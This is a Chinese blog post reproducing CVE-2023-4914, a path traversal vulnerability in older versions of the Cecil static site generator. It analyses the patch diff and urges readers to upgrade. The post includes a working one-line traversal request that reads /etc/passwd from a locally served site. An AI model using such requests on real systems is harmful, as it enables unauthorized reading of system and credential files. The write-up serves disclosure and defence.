「漏洞复现」建议升级!旧版 Cecil 存在路径遍历漏洞!

简介: 本文复现了旧版 Cecil 存在的路径遍历漏洞,通过本案例提醒各位读者,赶紧升级或者对外关闭旧版 Cecil,同时提高自身的安全意识,在自己编写代码时,一定要对文件读取的路径进行校验,以防跨目录的任意文件读取漏洞!

前言

本篇博文主要内容是通过修复方案来分析 Cecil 存在跨目录任意读取文件漏洞的原因,并对此进行复现


严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。

结果展示

由于 Cecil 没有对 URL 进行校验,导致攻击者可以通过遍历目录来读取服务器上的任意内容,比如读取密码:

1721891652246.jpg

漏洞详情

漏洞的 CVE 编号为 CVE-2023-4914,适用于 Cecil 版本 <= 7.47.0。


Cecil 是一个由 PHP 提供支持的命令行界面应用程序,它将 Markdown 文件、图像和 Twig 模板合并在一起,以生成静态网站。适用于个人博客、文档网站、项目页面等各种场景。


当 Cecil 站点由 cecil serve 提供服务时,未经身份验证的远程攻击者可以读取主机文件系统上的任何文件,甚至执行系统命令。


我们可以从提交修复的 Git 入手分析:

1721891662703.jpg

$path = urldecode(parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH));

上述代码将解析 $_SERVER['REQUEST_URI'] 中的 URL,并对 URL 中的编码部分进行解码,然后将解码后的路径赋值给变量 $path。


而修复后的代码除了执行上述代码的功能外,还使用 htmlspecialchars 函数对路径进行 HTML 实体编码,将特殊字符转换为其对应的 HTML 实体,以防止潜在的 XSS 攻击。

$path = htmlspecialchars(urldecode(parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH)));

简而言之,第二句代码相对于第一句代码,增加了对路径中特殊字符的转义处理。

if (!file_exists($filename) || is_dir($filename)) {

上述代码检查给定的 $filename 文件是否存在或是否为目录,如果文件不存在或者是一个目录,条件表达式返回 true,则执行相应的代码块。


而修复后的代码相比第一句增加了更复杂的条件判断:

if ((realpath($filename) === false || strpos(realpath($filename), realpath($_SERVER['DOCUMENT_ROOT'])) !== 0) || !file_exists($filename) || is_dir($filename)) {
  • realpath($filename) === false:检查给定的 $filename 是否可以解析为有效的绝对路径。
  • strpos(realpath($filename), realpath($_SERVER['DOCUMENT_ROOT'])) !== 0:检查给定的 $filename 是否位于 $_SERVER['DOCUMENT_ROOT'] 的子路径中。


相较而言,第二句代码通过更加严格的路径校验来确保不会被跨目录任意文件读取。

环境准备

进入 Cecil 官网,通过指令 curl -LO https://cecil.app/cecil.phar 进行下载 :

1721891678330.jpg

不过,Cecil 通过 curl 下载可能需要魔法,不然会出现如下报错,就是因为下载速度不够快:

1721891728118.jpg

同时需要注意的是,Cecil 需要有 PHP7.4+ 环境的支持,因此读者在运行 Cecil 前,需要检查一下自己的环境:

安装教程的话,博主亲测了 CentOS7 和 Ubuntu 20.04 系统的,可以直接通过链接跳转至教程。

1721891761139.jpg

漏洞复现

1、通过下载指令,将 cecil.phar 下载到本地:

curl -LO https://cecil.app/download/7.0.0/cecil.phar

2、赋予 cecil.phar 权限:

chmod +x cecil.phar

3、运行 cecil:

./cecil.phar new:site -n
./cecil.phar serve

1721891779149.jpg

4、另起一个客户端窗口,输入以下指令,即可读取到本地的密码:

curl --path-as-is http://localhost:8000/../../../../../../../../etc/passwd

1721891788617.jpg

5、需要注意的是,有的读者在运行 ./cecil.phar serve 时可能会出现如下报错:

[ERROR] The Symfony\Component\Intl\Locale\Locale::setDefault() is not implemented. Please install the "intl" extension for full localization capabilities.

解决方案可以参考这篇文章:How to solve the issue - please install the "intl" extension for full localization capabilities,博主是通过下述这个回答解决问题的:

1721891801240.jpg

后记

本文复现了旧版 Cecil 存在的路径遍历漏洞,通过本案例提醒各位读者,赶紧升级或者对外关闭旧版 Cecil,同时提高自身的安全意识,在自己编写代码时,一定要对文件读取的路径进行校验,以防跨目录的任意文件读取漏洞!

相关文章
|
安全 前端开发 JavaScript
信息服务上线渗透检测网络安全检查报告和解决方案2(安装文件信息泄漏、管理路径泄漏、XSS漏洞、弱口令、逻辑漏洞、终极上传漏洞升级)
信息服务上线渗透检测网络安全检查报告和解决方案2(安装文件信息泄漏、管理路径泄漏、XSS漏洞、弱口令、逻辑漏洞、终极上传漏洞升级)
199 0
|
5月前
|
云安全 安全 中间件
如何确认网站是否有漏洞,如何找出网站存在的漏洞,找到漏洞该如何处理
如何确认网站是否有漏洞,如何找出网站存在的漏洞,找到漏洞该如何处理
如何确认网站是否有漏洞,如何找出网站存在的漏洞,找到漏洞该如何处理
|
安全 druid Java
【紧急】Apache Log4j任意代码执行漏洞安全风险升级修复教程
近期一个 Apache Log4j 远程代码执行漏洞细节被公开,攻击者利用漏洞可以远程执行代码。经过分析,该组件存在Java JNDI注入漏洞,当程序将用户输入的数据进行日志,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。
345 1
|
SQL 开发框架 安全
绕过安全狗【后续再更新】
绕过安全狗【后续再更新】
130 0
|
安全 Java fastjson
Log4j2漏洞复现&原理&补丁绕过
Log4j2漏洞复现&原理&补丁绕过
|
安全 Java 程序员
解决struts2远程执行漏洞问题升级至2.5.22版本步骤
🍅程序员小王的博客:程序员小王的博客 🍅 欢迎点赞 👍 收藏 ⭐留言 📝 🍅 如有编辑错误联系作者,如果有比较好的文章欢迎分享给我,我会取其精华去其糟粕
530 0
解决struts2远程执行漏洞问题升级至2.5.22版本步骤
|
存储 安全 程序员
网站漏洞检测详情与修复方案
Metinfo CMS系统被爆出网站存在漏洞,可上传任意文件到网站根目录下,从而使攻击者可以轻易的获取网站的webshell权限,对网站进行篡改与攻击,目前该网站漏洞影响范围是Metinfo 6.2.0最新版本,以及以前的所有Metinfo版本都可以利用,关于该Metinfo漏洞的详情我们来详细的分析:
191 0
网站漏洞检测详情与修复方案
|
缓存 安全 测试技术
thinkphp 漏洞修复方案之<6.X版本的代码漏洞案例分析
大年初五,根据我们SINE安全的网站安全监测平台发现,thinkphp官方6.0版本被爆出高危的网站代码漏洞,该漏洞可导致网站被植入网站木马后门文件也叫webshell,具体产生的原因是session ID参数值这里并未对其做详细的安全过滤与校验,导致可以远程修改POST数据包将session的值改为恶意的后门代码,发送到服务器后端并生成PHP文件直接生成,可导致网站被攻击,服务器被入侵,关于该thinkphp漏洞的详情,我们SINE安全来跟大家分析一下。
505 0
thinkphp 漏洞修复方案之<6.X版本的代码漏洞案例分析
|
安全 前端开发 Linux
网站漏洞修复网站文件任意查看漏洞详情与利用
在对网站程序代码的安全检测当中,网站文件任意查看漏洞在整个网站安全报告中属于比较高危的网站漏洞,一般网站里都会含有这种漏洞,尤其平台,商城,交互类的网站较多一些,像普通权限绕过漏洞,导致的就是可以查看到网站里的任何一个文件,甚至可以查看到网站的配置文件config.php conn.php等等。
240 0
网站漏洞修复网站文件任意查看漏洞详情与利用
|
安全 PHP
ThinkPHP < 5.0.24 远程代码执行高危漏洞 修复方案
漏洞描述由于ThinkPHP5.0框架对Request类的method处理存在缺陷,导致黑客构造特定的请求,可直接GetWebShell。 漏洞评级严重 影响版本ThinkPHP 5.0系列 < 5.
25637 0